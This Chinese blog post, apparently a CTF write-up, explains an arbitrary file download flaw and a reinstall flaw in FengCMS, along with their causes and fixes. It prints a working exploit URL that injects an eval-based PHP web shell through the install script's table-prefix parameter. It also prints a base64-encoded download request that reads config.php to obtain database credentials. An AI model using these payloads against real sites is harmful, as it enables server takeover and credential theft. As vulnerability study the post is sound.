FengCMS任意文件下载漏洞
0 条评论假期闲着没事干,正好一个表哥举办了一场不错的CTF,这次渗透就是基于一个表哥搭建的实验环境,也算是记一下writeup吧~
关于任意文件下载
任意漏洞下载是因为一般的网站提供了下载文件功能,但是在获得文件到下载文件的时候并没有进行一些过滤,则恶意用户就能够下载任意敏感文件,进一步getshell,这就是文件下载漏洞。
漏洞描述
FengCms——由地方网络工作室基于PHP+MYSQL开发。是一款开源的网站内容管理系统。而这个漏洞也挺久了( 虽然小菜鸟不久前才知道。。 ),WooYun-2014-76648:FengCMS 修复不当导致getshell( 修复不当。。不说什么了。只求以后自己写的代码行行无bug! )修复完之后,install目录默认是不会自动删除的,依然可以getshell。关于漏洞的具体细节参考自WooYun-2014-76648:FengCMS 修复不当导致getshell。
1 | header("Content-type:text/html;charset=utf-8"); |
判断是否存在lock文件 如果存在lock文件了 就会header到index.php。但是header 后 他并没有exit 所以并不会退出 导致了又是一个重装。
所以直接进行setp = 4 的步骤,其中只有DB_PREFIX字段不影响,可以用来getshell。
漏洞利用
直接访问URL:
1 | .../install/index.php?host=localhost&user=root&password=root&dbname=hello&prefix=f_');@eval($_POST[101]);('&url_type=1&step=4 |
漏洞修复
echo 完了,exit()一下。
回到CTF
拿到flag
前边说了挺多的了,是不是还没出现怎么任意文件下载???O(∩_∩)O哈哈~构造URL那里需要我们利用host、user、password、dbname以及prefix,这些信息去哪里找呢?当然是配置文件config.php啦!!这里就用到了任意文件下载漏洞。我们构造URL:
1 | http://localhost/index.php?controller=down&file=L2NvbmZpZy5waHA= # L2NvbmZpZy5waHA=为/config.php base64加密后得到 |
而我是怎么拿到flag的呢?O(∩_∩)O哈哈~拿flag的步骤没这么麻烦,直接由配置文件得到数据库的用户名和密码,然后登录数据库就拿到了。
修复方案
1、限定目录
2、白名单限定可下载路径的文件等等
参考及感谢
一个表哥细心整理的乌云上关于PHP的常见漏洞
大蝉表哥转乌云的论PHP常见的漏洞
分享一个乌云drops的镜像
另外,如果大家对PHP的或乌云的其他漏洞感兴趣,也可以去以上三位表哥的博客和网站学习一下,小菜鸟在这里谢过三位表哥!!!
声明:
文章标题:FengCMS任意文件下载漏洞
文章作者:h3h3da
文章链接:https://www.liucunzhan.com/p/4967a6d3-b25d-41c4-8bc1-ef7aca2fe19b
文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。
喜欢,就支持我一下吧~